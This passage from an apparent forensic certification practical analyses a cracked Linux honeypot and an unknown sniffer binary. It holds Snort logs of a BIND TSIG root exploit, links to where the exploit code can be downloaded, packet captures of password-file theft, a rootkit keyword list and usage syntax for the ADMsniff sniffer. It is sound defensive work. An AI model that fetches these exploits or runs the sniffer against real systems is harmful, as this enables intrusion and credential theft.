<th>scan</th>
</tr>
</thead>
<tbody>
<tr>
<td>r00t</td>
<td>hide</td>
<td>denial</td>
</tr>
<tr>
<td>rootkit</td>
<td>passwd</td>
<td>service</td>
</tr>
<tr>
<td>hack</td>
<td>shadow</td>
<td>dos</td>
</tr>
<tr>
<td>irc</td>
<td>trojan</td>
<td>dos</td>
</tr>
<tr>
<td>bot</td>
<td>virus</td>
<td>brute force</td>
</tr>
<tr>
<td>sniff</td>
<td>TFN2K</td>
<td>0wn</td>
</tr>
<tr>
<td>backdoor</td>
<td>LKM</td>
<td>crack</td>
</tr>
<tr>
<td>promisc</td>
<td>attack</td>
<td>exploit</td>
</tr>
<tr>
<td>knark</td>
<td>portscan</td>
<td>disappear</td>
</tr>
</tbody>
</table>
The script listed Appendix 14 was used to search the files on the honeypot drive for the keywords listed above. Due to some keywords like hack, irc, passwd, shadow, and dos the output from the script contains many false positives. For example the file /var/lib/rpm/packages.rpm contains the following keywords: ADM, service, scan, hack, dos, shadow, and passwd. According to the MACtime on the file, Aug 17 02 15:41:37, this is a false positive. Any suspicious files were compared with the MACtime analysis. Below are the list of positive matches.

### Keywords Found

<table>
<thead>
<tr>
<th>Keywords Found</th>
<th>File Found In</th>
</tr>
</thead>
<tbody>
<tr>
<td>adore</td>
<td>/usr/lib/adore/CVS/Repository</td>
</tr>
<tr>
<td>ADM, adore</td>
<td>/usr/lib/adore/CVS/Entries</td>
</tr>
<tr>
<td>hide, service, scan, rootkit</td>
<td>/usr/lib/adore/Changelog</td>
</tr>
<tr>
<td>adore, hide, service</td>
<td>/usr/lib/adore/Makefile.gen</td>
</tr>
<tr>
<td>adore, scan, hide, service, rootkit,</td>
<td>/usr/lib/adore/README</td>
</tr>
<tr>
<td>crack</td>
<td>/usr/lib/adore/adore.c</td>
</tr>
<tr>
<td>adore, hide, hack, disappear, backdoor</td>
<td>/usr/lib/adore/adore.h</td>
</tr>
<tr>
<td>adore, hide, promisc</td>
<td>/usr/lib/adore/ava.c</td>
</tr>
<tr>
<td>adore, elite, service, scan</td>
<td>/usr/lib/adore/configure</td>
</tr>
<tr>
<td>hack, adore, hide, backdoor, disappear</td>
<td>/usr/lib/adore/libinvisible.c</td>
</tr>
<tr>
<td>adore, hide</td>
<td>/usr/lib/adore/libinvisible.h</td>
</tr>
<tr>
<td>adore</td>
<td>/usr/lib/adore/startadore</td>
</tr>
</tbody>
</table>
Network Analysis

Snort Logs

Below is an example of the FIN scan done against the honeypot.

```
[**] [111:8:1] spp_stream4: STEALTH ACTIVITY (FIN scan) detection [**]
TCP TTL:44 TOS:0x0 ID:56307 IpLen:20 DgmLen:40
*******F Seq: 0xA226CB51  Ack: 0x0  Win: 0x800  TcpLen: 20

[**] [111:8:1] spp_stream4: STEALTH ACTIVITY (FIN scan) detection [**]
TCP TTL:44 TOS:0x0 ID:53496 IpLen:20 DgmLen:40
*******F Seq: 0x93641F62  Ack: 0x0  Win: 0x800  TcpLen: 20

[**] [111:8:1] spp_stream4: STEALTH ACTIVITY (FIN scan) detection [**]
TCP TTL:44 TOS:0x0 ID:64443 IpLen:20 DgmLen:40
*******F Seq: 0x21050D34  Ack: 0x0  Win: 0x800  TcpLen: 20
```

The Snort log below shows the remote root exploit used against the honeypot. The second log entry shows that the exploit worked and the cracker executed the id command which return back the user identity of root.

```
[Classification: Attempted Information Leak] [Priority: 2]
08/17-22:02:52.305198 24.147.x.x:32830 -> 192.168.10.5:53
UDP TTL:48 TOS:0x0 ID:17550 IpLen:20 DgmLen:51 DF Len: 31
[XRef => http://www.whitehats.com/info/IDS277]
[XRef => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0009]
[XRef => http://www.securityfocus.com/bid/134]
[XRef => http://www.rfc-editor.org/rfc/rfc1035.txt]

[**] [1:498:3] ATTACK RESPONSES id check returned root [**]
```
Another cracker attempted some other exploits and scanning techniques. However the cracker was unable to get a shell.

[Classification: Attempted Information Leak] [Priority: 2]
08/17-21:41:50.228579 68.0.x.x -> 192.168.10.5
ICMP TTL:31 TOS:0x0 ID:3 IpLen:20 DgmLen:28
Type:8 Code:0 ID:46712 Seq:0 ECHO
[Xref => http://www.whitehats.com/info/IDS162]

**[1:408:4]** ICMP Echo Reply **[**
[Classification: Misc activity] [Priority: 3]
08/17-21:41:50.228740 192.168.10.5 -> 68.0.x.x
ICMP TTL:255 TOS:0x0 ID:10845 IpLen:20 DgmLen:28
Type:0 Code:0 ID:46712 Seq:0 ECHO REPLY

**[1:618:2]** SCAN Squid Proxy attempt **[**
[Classification: Attempted Information Leak] [Priority: 2]
08/17-21:41:51.631495 68.0.x.x:9198 -> 192.168.10.5:3128
TCP TTL:46 TOS:0x0 ID:27688 IpLen:20 DgmLen:64 DF
******S* Seq: 0x6029071D  Ack: 0x0  Win: 0x4000  TcpLen: 44
TCP Options (9) => MSS: 1460 NOP NOP SackOK NOP WS: 0 NOP NOP
TCP Options => TS: 1495954366 0
[Xref => http://www.whitehats.com/info/IDS442]

**[1:587:2]** RPC portmap request status - http://www.whitehats.com/info/IDS15 **[**
[Classification: Decode of an RPC Query] [Priority: 2]
08/17-22:09:04.333783 68.0.x.x:765 -> 192.168.10.5:111
UDP TTL:46 TOS:0x0 ID:64503 IpLen:20 DgmLen:84 Len: 64
[Xref => http://www.whitehats.com/info/IDS15]

**[1:600:3]** RPC EXPLOIT statdx - http://www.whitehats.com/info/IDS442 **[**
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
08/17-22:09:04.527221 68.0.x.x:635 -> 192.168.10.5:928
TCP TTL:46 TOS:0x0 ID:50123 IpLen:20 DgmLen:1132 DF
***AP*** Seq: 0x670D32AC  Ack: 0xAC84CE23 Win: 0x43E0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 1495957666 47381
[Xref => http://www.whitehats.com/info/IDS442]
Remote Exploit Used

The cracker used an ISC Bind 8 TSIG exploit. CERT has documented the ISC Bind 8 TSIG exploit in the Incident Note IN-2001-03, located at http://www.cert.org/incident_notes/IN-2001-03.html. The Incident Note contains notes on how the attack works, and provides details on the Lion worm and the erkms toolkit. Below are a few links on where the exploit can be found:

- http://packetstormsecurity.org/0102-exploits/bind8x.c
- http://lsd-pl.net/files/get?LINUX/linx86_bind

Gathering Additional Information

As noted before the cracker installed a rootkit and according to the MACtime analysis, the shadow file was accessed on August 17 at 22:07:33. With this information, the captured packets from network sniffer were reviewed. One of the interesting packets found before the shadow file was accessed was the cracker used the cat command to capture the passwd file at 22:06:42. The packet showing this is below.

```
Frame 14828 (77 on wire, 77 captured)
Ethernet II
Internet Protocol, Src Addr: 24.147.x.x (24.147.x.x), Dst Addr: 66.227.x.x (66.227.x.x)
Transmission Control Protocol, Src Port: 37608 (37608), Dst Port: domain (53), Seq: 128877572, Ack: 2509933535
Domain Name System (query)
[Short Frame: DNS]
0000 00 04 5a 07 32 4d 00 05 5f eb fc 70 08 00 45 00 ..Z.2M..p..E.
0010 00 3f c7 6d 40 00 31 06 07 ca 18 93 23 97 42 e3 ?.m@.1.....#B.
0020 74 92 e8 00 35 07 ae 84 04 95 9a 8b df 80 18 .t...5........
0030 82 18 dd 2d 00 00 01 01 08 0a 00 a2 9e 89 00 00 ..........
0040 80 b1 63 61 74 20 70 61 73 77 64 0a ..cat passwd.
```

The text box below shows the passwd file transferred back to the cracker.

```
Frame 14829 (578 on wire, 578 captured)
Ethernet II
Internet Protocol, Src Addr: 66.227.x.x (66.227.x.x), Dst Addr: 24.147.x.x (24.147.x.x)
Transmission Control Protocol, Src Port: domain (53), Dst Port: 37608 (37608), Seq: 2509933535, Ack: 128877583
Domain Name System (query)
[Short Frame: DNS]
0000 00 05 5f eb fc 54 00 04 5a 07 32 4d 08 00 45 00 ..T..Z.2M..E.
0010 02 34 1c a0 40 00 3f 06 a2 a2 42 e3 fb 74 18 93 .4.@.?...B.t.
0020 23 97 00 35 92 e8 95 9a 8b df 07 ae 84 0f 80 18 #5............
0030 7d 78 2d a0 00 00 01 01 08 0a 00 00 81 ac 00 a2 }x.............
```

Page: 43 of 132
At 22:06:47 the cracker, used the cat command to send the shadow file. Again, the packet is shown below.

At 22:06:47 the cracker, used the cat command to send the shadow file. Again, the packet is shown below.

Frame 14837 (77 on wire, 77 captured)
Ethernet II
Domain Name System (query)
[Short Frame: DNS]
Below is the packet sent back to the cracker's machine which contained the shadow file's contents.

Frame 14838 (578 on wire, 578 captured)
Ethernet II
Internet Protocol, Src Addr: 66.227.x.x (66.227.x.x), Dst Addr: 24.147.x.x (24.147.x.x)
Transmission Control Protocol, Src Port: domain (53), Dst Port: 37608 (37608), Seq: 2509934263, Ack: 128877594
Domain Name System (query)
[Short Frame: DNS]
There were several commands issued by the cracker before he or she decided to download the password and shadow files found during the network analysis. These commands consisted of downloading the rootkit and compiling it. The additional commands not outlined above have been included in the timeline.

Also, it should be noted that the source and destination port for the honeypot is 53 which is the DNS port. According to network analyzer Ethereal, this is a “Domain Name System (query).” This supports the theory that the cracker used the TSIG bind exploit to get root access on the honeypot.

IP Address Information of Attackers

NSLookup Information on 24.147.x.x

Non-authoritative answer:
X.X.147.24.in-addr.arpa name = h080009d7be8c.ne.client2.attbi.com.

Authoritative answers can be found from:
X.147.24.in-addr.arpa nameserver = ns1.attbb.net.
X.147.24.in-addr.arpa nameserver = ns2.attbb.net.
X.147.24.in-addr.arpa nameserver = ns3.attbb.net.
X.147.24.in-addr.arpa nameserver = ns4.attbb.net.
X.147.24.in-addr.arpa nameserver = ns5.attbb.net.
X.147.24.in-addr.arpa nameserver = ns6.attbb.net.
ns1.attbb.net internet address = 24.147.1.32
ns2.attbb.net internet address = 24.129.0.106
ns3.attbb.net internet address = 24.130.1.47
ns4.attbb.net internet address = 24.128.1.82
ns5.attbb.net internet address = 24.130.1.43
ns6.attbb.net internet address = 24.129.0.103

WHOIS Information on 24.147.x.x

OrgName: AT&T Broadband Northeast
OrgID: ATBN
Conclusion and Issues

The attack started with a SYN portscan on August 17 at 21:33:24. At approximately 21:33:24, the attacker switched to a FIN portscan. The system was exploited through a remote ISC Bind 8 TSIG exploit around 22:02:52. Next attacker downloaded the adore version 0.42 rootkit around 22:04:43 using the wget command. The rootkit was unpacked at 22:04:57 and the configure script for the rootkit was ran at 22:05:08 to create the Makefile. Following the creation of the Makefile, the make command was issued by the cracker to compile the rootkit which started at 22:05:25. The rootkit compile was finished around 22:05:47 and the attacker ran the command startadore. Startadore starts the rootkit and enables its functions. According to the network analysis, approximately 22:06:42 the attacker captured the passwd and shadow files and left the system around 22:07:21. Another portscan against the honeypot is conducted by the same attacker at 22:11:43. Finally, at approximately 22:16 the power went out due to a thunderstorm.

Another attacker executed a statd exploit against the honeypot at 22:09:04. Then this attacker portscanned the honeypot after the statd exploit failed. It appears that the first attacker and the second attacker are working together. This theory is partly based on the fact that the second attacker starts off with a statd exploit against the honeypot. There are no other records of the second attacker's IP address found in the logs nor in the captured network traffic. However, there is not enough evidence to know for sure if both attackers are working together.

Based upon the above information, the attacker was probably new to cracking machines on the Internet. He or she knew enough to use a stealth scan against a machine. However, the initial connection and the rapid rate of the scanning shows that the
attacker did not know much about scanning and disregards stealth techniques in order to take the machine as soon as possible. Once the exploit was ran against the honeypot and a shell was received, the attacker had to know if they had obtained root access. Using the whoami and id commands, the attacker confirmed that root access was obtained. The attacker does show some knowledge with the adore rootkit regarding how to compile the rootkit. Nevertheless, the attacker shows his unfamiliarity with his tools by starting the rootkit then loading the modules in again by hand with the insmod command. Rather than putting a backdoor on the system, the attacker captures the passwd and shadow file and leaves the system. This seemed anti-productive because a little while later the attacker portscanned the honeypot again. While the attacker was in the system he or she did not bother to hide his or her presence by altering the system logs nor altering the shell history file. In one regard the attacker had gotten lucky because of the way he or she exploited the box, no entries were made in the shell history file by the shell. Most likely the person who cracked the honeypot was a novice, although knowing some of the basics.

Issues

There were a couple of issues with the honeypot. The honeypot first went on line July 23, 2002. During that time the honeypot was scanned and probed without a successful crack. On July 27, 2002 approximately 1:14 P.M., the hard drive died and the machine soon crashed after. The honeypot was immediately rebuilt. Around 3:30 P.M. the honeypot was back online and was being probed again at different intervals during the day. Nothing was changed in the setup of the honeypot.

The second issue was the power going out due to a thunder storm. Since the machine had been cracked, it was decided that most the cracker probably would not come back to the machine due to the sudden disappearance of the honeypot. The honeypot power cord was removed to ensure that the machine would not power back on once the power came back.
Part 2 – Analyze an Unknown Binary

Name of the files in sn.zip: sn.dat and sn.md5

MACTime Information for sn.dat
- Last Modified: Thu Apr 11 09:29:58 2002
- Last Accessed (Used): Thu Apr 11 09:29:58 2002
- Last Changed: Tue Jul 2 16:14:47 2002

File Owners
- Original User: Not known; zip does not capture that information
- Original Group: Not known; zip does not capture that information
- Current User: root
- Current Group: root

File Size (in bytes): 399124
MD5 Hash: 0e954f43fd73f56e812a7285f32e41d3

Keywords that can be associated with file:
- ADMsniff
- libpcap
- ADM
- mel
- ^pretty^ pcap-linux.c pcap.c
- The ADM Crew
- priv 1.0

Program Description
The sn.dat file appears to be a version of the ADMsniff 1.0 priv sniffer software created by the hacker group ADM. The sniffer program creates a file called The_l0gz, which contains what the program has sniffed off the network. Most likely this program was used to gather user ids, passwords, and machine headers. The sniffer looks like it captures everything on the interface that it has been told to watch.
Sn.dat was ran on a test system to obtain the command line arguments available for running the binary and to ensure that the test system is the only system effected by any malicious code. Another way was to look at the strings output on the binary. Using the strings method, it may be more difficult to pick out the command line arguments. To confirm the theory on how to run it, the binary was ran without any options. The resulting text was:

```
ADMsniff priv 1.0 <device> [HEADERSIZE] [DEBUG]
ex   : admsniff le0
..ooOO The ADM Crew OOoo..
```

This was great news because all of the options on how to run the sniffer and the version number of the sniffer were listed. Based on the information gathered, in order to run the sniffer can be deduced to:

```
./sn.dat {ethernet device} {headersize} {DEBUG}
or, for example,
./sn.dat eth0 64 DEBUG
```

The ethernet device needs to be a network interface that shows up when `ifconfig -a` is ran. The headersize option appears to refer to how much of the network header the attacker wishes to capture. Finally, the DEBUG option does not seem to do anything. There was nothing printed on the screen, nor was there any additional information in the log file with the DEBUG option turned on.

The next step was to do a file analysis on the sn.dat binary. First, the file command was ran on the binary. After that, the ldd command is ran on the binary to find out if there are any libraries are needed to run binary. If there are libraries needed, those libraries need to be tracked down and investigated to see what they are used for. Next the string command is ran on the binary to get important clues about the binary. This may include how to run the program, programmer comments, undocumented command line switches, and so on. Readelf and objdump commands are ran on the binary in order to get more information on the binary. The readelf command can give details such as entry points of the binary and the type of machine that it was compiled for. Objdump will display information on the object files and machine architecture. Below in the File Analysis Details section is the output of these commands.

Based on the output of the commands ran in the File Analysis Details section, it was determined that the sn.dat binary was “normal.” The ls command was used as a guideline for determining what is “normal” for a binary file. Granted both binaries have totally separate functions and should generate different output, there still should be some similarities between the two binary files.

Both files could produce output for the objdump and readelf commands. This would
indicate that the sn.dat binary is not encrypted, nor did it have an odd entry point. Both binaries showed an entry point of 0x804 that is a normal (Rob Lee, 2-45). In fact much of the ELF header section for both binary was the same when the command readelf was ran.

Gdb was also ran on the binary. The following is the output from when the command was initially ran:

```
[root@sysw242h bin_done]# gdb /data/bin/sn.dat
GNU gdb Red Hat Linux (5.1.90CVS-5)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"
(no debugging symbols found)...
(gdb)
```

The researcher at this time is not familiar with disassembly and debugging executables. So no additional information could be gathered from using gdb.

File Analysis Details

**File Command Output:** sn.dat: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

**Idd Command Output:** not a dynamic executable

**Strings Analysis:**
```
--=[ %s:%i -->
%s:%i ]===
DUMP STRUCT = NUMBER
%i
*sip -> %s*
*sport -> %i*
*dip -> %s*
*dport -> %i*
*data -> %s
*--------*
/* The END */
\* priv 1.0
ADMsniff %s <device>
[HEADERSIZE] [DEBUG]
ex : admssniff le0
..ooOO The ADM Crew
```

```
OOoo..
cant open pcap device :
init_pcap : Unknown device
type!
ADMsniff %s in libpcap we
trust!
credits: ADM, mel, ^pretty^for the mail she sent me
The_10gz
out of memory

@(#) $Header: pcap-linux.c,v 1.15 97/10/02 22:39:37 leres
 Exp $ (LBL)
@(#) $Header: bpf_filter.c,v 1.33 97/04/26 13:37:18 leres
 Exp $ (LBL)
@(#) $Header: savefile.c,v 1.37 97/10/15 21:58:58 leres
 Exp $ (LBL)
@(#) $Header: pcap.c,v 1.29 98/07/12 13:15:39 leres
 Exp $ (LBL)
undefined symbol:
out of memory
apic
mtrr
cmov
pse36
osfxsr
xmm2
amd3d
```
GCFA 1.0

Keven Murphy

i386
i486
i586
i686
/usr/lib/gconv
gconv-modules
toupper
tolower
upper
lower
alpha
digit
xdigit
space
print
graph
blank
cntrl
punct
alnum
libc
POSIX
ANSI_X3.4-1968
messages
/locale.alias
0123456789abcdefhijklmno
pqrstuvwxyz
(null)
0
 prognostic
i18n:1999
realloc(): invalid pointer %p!
Unknown error
ANSI_X3.4-1968//TRANSLIT
%d.%d.%d.%d
{ORIGIN}
{PLATFORM}
cannot allocate name record
cannot stat shared object
cannot read file data
cannot map zero-fill pages
cannot create searchlist
search path= (%s)
from file %s)
(%s)
file too short
invalid ELF header
ELF file OS ABI invalid
ELF file ABI version invalid
internal error
trying file=%s
file=%s; needed by %s
find library=%s; searching
RPATH
RUNPATH
cannot create cache for
search path
cannot create
RUNPATH/RPATH copy
cannot create search path
array
file=%s; generating link map
cannot create shared object
descriptor
ELF load command
alignment not page-aligned
ELF load command
address/offset not properly
aligned
cannot dynamically load
executable
cannot change memory protections
cannot allocate memory for program header
object file has no dynamic section
dynamic: 0x%0*lx base: 0x%0*Zx
  entry: 0x%0*lx phdr: 0x%
0*lx phnum: %*u
shared object cannot be dlopened
ELF file data encoding not big-endian
ELF file data encoding not little-endian
ELF file version ident does not match current one
ELF file version does not match current one
ELF file's phentsize not the expected size
only ET_DYN and ET_EXEC can be loaded
cannot open shared object file
AT_HWCAP:
/etc/ld.so.cache
  search cache=%s
ld.so-1.7.0
glibc-ld.so.cache1.1
symbol=%s; lookup in file=%s
file=%s; needed by %s (relocation dependency)
  binding file %s to %s: %s symbol `%s'
  <main program>
symbol , version
  not defined in file
  with link time reference (no version symbols)
protected normal

["s"]
DYNAMIC LINKER BUG!!!
"s": error while loading shared libraries: "s" "s"
LD_WARN
LD_BIND_NOW
LD_BIND_NOT
LD_DYNAMIC_WEAK
LD_AOUT_PRELOAD
LD_AOUT_LIBRARY_PATH
TZDIR
TMPDIR
RES_OPTIONS
RESOLV_HOST_CONF
NLSPATH
MALLOC_TRACE
LOCSPATH
LOCALDOMAIN
HOSTALIASES
GCONV_PATH
/etc/suid-debug
MALLOC_CHECK_
/proc/self/exe
/proc/sys/kernel/osrelease
FATAL: kernel too old
FATAL: cannot determine library version
=INTERNAL->ucs2reverse
=ucs2reverse->INTERNAL
=INTERNAL->ascii
=ascii->INTERNAL
=INTERNAL->ucs2
=ucs2->INTERNAL
=utf8->INTERNAL
=INTERNAL->utf8
=ucs4le->INTERNAL
=INTERNAL->ucs4le
UCS-4LE/
=ucs4->INTERNAL
=INTERNAL->ucs4
UCS-2BE// UNICODEBIG//
UCS-2LE//
ISO-10646/UCS2/
CSASCII// ANSI_X3.4-1968//
CP367// ANSI_X3.4-1968//
IBM367// ANSI_X3.4-1968//
US-ASCII/
ANSI_X3.4-1968/
ISO646-US/
ANSI_X3.4-1968/
ISO-IR-6// ANSI_X3.4-1968//
ANSI_X3.4/
OSF00010102//
ANSI_X3.4-1968/
ISO-10646/UCS2/
OSF00010101//
ANSI-X3.4-1968/
ISO-10646/UCS2/
ANSI-X3.4-1968/
ISO-10646/UCS2/
ANSI-X3.4-1968/
OSF05010001//
ISO-10646/UTF8/
MALLOCCHECK_
UTF8// ISO-10646/UTF8/
WCHAR_T// INTERNAL
OSF00010106//
ISO-10646/UCS4/
OSF00010105//
ISO-10646/UCS4/
OSF00010104//
ISO-10646/UCS4/
CSUCS4//
ISO-10646/UCS4/
UCHAR-4BE//
ISO-10646/UCS4/
UCS-4// ISO-10646/UCS4/
 alias
module
<table>
<thead>
<tr>
<th>Error Description</th>
<th>Message Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>No route to host</td>
<td>Invalid exchange</td>
</tr>
<tr>
<td>Host is down</td>
<td>Level 2 halted</td>
</tr>
<tr>
<td>Connection refused</td>
<td>No CSI structure available</td>
</tr>
<tr>
<td>Connection timed out</td>
<td>Protocol driver not attached</td>
</tr>
<tr>
<td>No buffer space available</td>
<td>Link number out of range</td>
</tr>
<tr>
<td>Connection reset by peer</td>
<td>Level 3 reset</td>
</tr>
<tr>
<td>Network is unreachable</td>
<td>Level 3 halted</td>
</tr>
<tr>
<td>Network is down</td>
<td>Level 2 not synchronized</td>
</tr>
<tr>
<td>Address already in use</td>
<td>Channel number out of range</td>
</tr>
<tr>
<td>Protocol family not supported</td>
<td>Range</td>
</tr>
<tr>
<td>Operation not supported</td>
<td>Identifier removed</td>
</tr>
<tr>
<td>Socket type not supported</td>
<td>No message of desired type</td>
</tr>
<tr>
<td>Protocol not supported</td>
<td>Directory not empty</td>
</tr>
<tr>
<td>Protocol not available</td>
<td>Function not implemented</td>
</tr>
<tr>
<td>Message too long</td>
<td>No locks available</td>
</tr>
<tr>
<td>Destination address required</td>
<td>File name too long</td>
</tr>
<tr>
<td>Too many users</td>
<td>Resource deadlock avoided</td>
</tr>
<tr>
<td>Streams pipe error</td>
<td>Numerical result out of range</td>
</tr>
<tr>
<td>Remote address changed</td>
<td>Broken pipe</td>
</tr>
<tr>
<td>File descriptor in bad state</td>
<td>Too many links</td>
</tr>
<tr>
<td>Name not unique on network</td>
<td>Read-only file system</td>
</tr>
<tr>
<td>Bad message</td>
<td>Illegal seek</td>
</tr>
<tr>
<td>RFS specific error</td>
<td>No space left on device</td>
</tr>
<tr>
<td>Multihop attempted</td>
<td>Text file busy</td>
</tr>
<tr>
<td>Protocol error</td>
<td>Too many open files</td>
</tr>
<tr>
<td>Communication error on send</td>
<td>Too many open files in system</td>
</tr>
<tr>
<td>Srmount error</td>
<td>Is a directory</td>
</tr>
<tr>
<td>Advertise error</td>
<td>Not a directory</td>
</tr>
<tr>
<td>Link has been severed</td>
<td>No such device</td>
</tr>
<tr>
<td>Object is remote</td>
<td>Invalid cross-device link</td>
</tr>
<tr>
<td>Package not installed</td>
<td>File exists</td>
</tr>
<tr>
<td>Machine is not on the network</td>
<td>Device or resource busy</td>
</tr>
<tr>
<td>Out of streams resources</td>
<td>Block device required</td>
</tr>
<tr>
<td>Timer expired</td>
<td>Bad address</td>
</tr>
<tr>
<td>Communication error on send</td>
<td>Permission denied</td>
</tr>
<tr>
<td>Bad message</td>
<td>Cannot allocate memory</td>
</tr>
<tr>
<td>No data available</td>
<td>No child processes</td>
</tr>
<tr>
<td>Device not a stream</td>
<td>Bad file descriptor</td>
</tr>
<tr>
<td>No data available</td>
<td>Exec format error</td>
</tr>
<tr>
<td>Bad font file format</td>
<td>Argument list too long</td>
</tr>
<tr>
<td>No child processes</td>
<td>No such device or address</td>
</tr>
<tr>
<td>Invalid slot</td>
<td>Invalid request code</td>
</tr>
<tr>
<td>Invalid request code</td>
<td>Input/output error</td>
</tr>
<tr>
<td>No anode</td>
<td></td>
</tr>
<tr>
<td>Exchange full</td>
<td></td>
</tr>
<tr>
<td>Invalid request descriptor</td>
<td></td>
</tr>
</tbody>
</table>
DST not allowed in SUID/SGID programs
empty dynamic string token substitution
opening file=%s; opencount == %u
shared object not open
calling fini: %s
closing file=%s; opencount == %u
A (lazy) relocation processing: %s%s
cannot make segment writable for relocation
%: Symbol `%s' has different size in shared object, consider re-linking
%: profiler found no PLTREL in object %s
calling init: %s
calling preinit: %s
checking for version `\%s' in file %s required by file %s
no version information available (required by unsupported version)
cannot allocate version reference table
load auxiliary object=%s
requested by file=%s
load auxiliary object=%s
requested by file=%s
cannot allocate dependency list
cannot allocate symbol search list
Filters not supported with LD_TRACE_PRELINKING

Objdump Analysis

[dragonmound binary]# objdump -x ./sn.dat

./sn.dat:   file format elf32-i386.
./sn.dat architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x080480e0

Program Header:

LOAD off 0x00000000 vaddr 0x08048000 padd 0x08048000 align 2**12
   filesize 0x005adac memsz 0x005adac flags r-x
LOAD off 0x0005ad0 vaddr 0x080a3dc0 padd 0x080a3dc0 align 2**12
   filesize 0x0001f4 memsz 0x00076c8 flags rw-
NOTE off 0x0000094 vaddr 0x08048094 padd 0x08048094 align 2**2
   filesize 0x0000020 memsz 0x00000020 flags r--

Sections:

Idx Name  Size VMA LMA File off     Algn
  0 .init 00000018 080480b4 080480b4 000000b4 2**2
         CONTENTS,ALLOC,LOAD,READONLY,CODE
  1 .text 00048080 080480e0 080480e0 000000e0 2**5
         CONTENTS,ALLOC,LOAD,READONLY,CODE
  2 .fini 0000001e 08090160 08090160 00048160 2**2
### Readelf Analysis

```
[root@dragonmound binary]# readelf -a ./sn.dat
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x80480e0
```

### ELF Header

<table>
<thead>
<tr>
<th>Section</th>
<th>Offset</th>
<th>Address 1</th>
<th>Address 2</th>
<th>Address 3</th>
<th>Size</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>.rodata</td>
<td>00012be0</td>
<td>08090180</td>
<td>08090180</td>
<td>00048180</td>
<td>2**5</td>
<td>CONTENTS, ALLOC, LOAD, READONLY, CODE</td>
</tr>
<tr>
<td>__libc_atexit</td>
<td>00000004</td>
<td>080a2d60</td>
<td>080a2d60</td>
<td>0005ad60</td>
<td>2**2</td>
<td>CONTENTS, ALLOC, LOAD, READONLY, DATA</td>
</tr>
<tr>
<td>__libc_subfreeres</td>
<td>00000040</td>
<td>080a2d64</td>
<td>080a2d64</td>
<td>0005ad64</td>
<td>2**2</td>
<td>CONTENTS, ALLOC, LOAD, READONLY, DATA</td>
</tr>
<tr>
<td>__libc_subinit</td>
<td>00000008</td>
<td>080a2da4</td>
<td>080a2da4</td>
<td>0005ada4</td>
<td>2**2</td>
<td>CONTENTS, ALLOC, LOAD, READONLY, DATA</td>
</tr>
<tr>
<td>.data</td>
<td>00001260</td>
<td>080a3dc0</td>
<td>080a3dc0</td>
<td>0005adc0</td>
<td>2**5</td>
<td>CONTENTS, ALLOC, LOAD, DATA</td>
</tr>
<tr>
<td>.eh_frame</td>
<td>00000d64</td>
<td>080a5020</td>
<td>080a5020</td>
<td>0005c020</td>
<td>2**2</td>
<td>CONTENTS, ALLOC, LOAD, DATA</td>
</tr>
<tr>
<td>.ctors</td>
<td>00000008</td>
<td>080a5d84</td>
<td>080a5d84</td>
<td>0005cd84</td>
<td>2**2</td>
<td>CONTENTS, ALLOC, LOAD, DATA</td>
</tr>
<tr>
<td>.dtors</td>
<td>00000008</td>
<td>080a5d8c</td>
<td>080a5d8c</td>
<td>0005cd8c</td>
<td>2**2</td>
<td>CONTENTS, ALLOC, LOAD, DATA</td>
</tr>
<tr>
<td>.got</td>
<td>00000010</td>
<td>080a5d94</td>
<td>080a5d94</td>
<td>0005cd94</td>
<td>2**2</td>
<td>CONTENTS, ALLOC, LOAD, DATA</td>
</tr>
<tr>
<td>.sbss</td>
<td>00000000</td>
<td>080a5da4</td>
<td>080a5da4</td>
<td>0005cdc0</td>
<td>2**0</td>
<td>CONTENTS</td>
</tr>
<tr>
<td>.bss</td>
<td>000056c8</td>
<td>080a5dc0</td>
<td>080a5dc0</td>
<td>0005cdc0</td>
<td>2**5</td>
<td>ALLOC</td>
</tr>
<tr>
<td>.comment</td>
<td>000032d6</td>
<td>00000000</td>
<td>00000000</td>
<td>0005cd0</td>
<td>2**0</td>
<td>CONTENTS, READONLY</td>
</tr>
<tr>
<td>.note.ABI-tag</td>
<td>00000020</td>
<td>08048094</td>
<td>08048094</td>
<td>0000094</td>
<td>2**2</td>
<td>CONTENTS, ALLOC, LOAD, READONLY, DATA</td>
</tr>
<tr>
<td>.note</td>
<td>000012d4</td>
<td>00000000</td>
<td>00000000</td>
<td>0006096</td>
<td>2**0</td>
<td>CONTENTS, READONLY</td>
</tr>
</tbody>
</table>
```

objdump: ./sn.dat: no symbols
Start of program headers: 52 (bytes into file)
Start of section headers: 398364 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 3
Size of section headers: 40 (bytes)
Number of section headers: 19
Section header string table index: 18

<table>
<thead>
<tr>
<th>Nr</th>
<th>Name</th>
<th>Type</th>
<th>Addr</th>
<th>Off</th>
<th>Size</th>
<th>ES</th>
<th>Flg</th>
<th>Lk</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td></td>
<td>NULL</td>
<td>00000000</td>
<td>000000</td>
<td>000000</td>
<td>00</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>1</td>
<td>.init</td>
<td>PROGBITS</td>
<td>080480b4</td>
<td>0000b4</td>
<td>000018</td>
<td>00</td>
<td>AX</td>
<td>0</td>
</tr>
<tr>
<td>2</td>
<td>.text</td>
<td>PROGBITS</td>
<td>080480e0</td>
<td>0000e0</td>
<td>048080</td>
<td>00</td>
<td>AX</td>
<td>0</td>
</tr>
<tr>
<td>3</td>
<td>.fini</td>
<td>PROGBITS</td>
<td>08090160</td>
<td>048160</td>
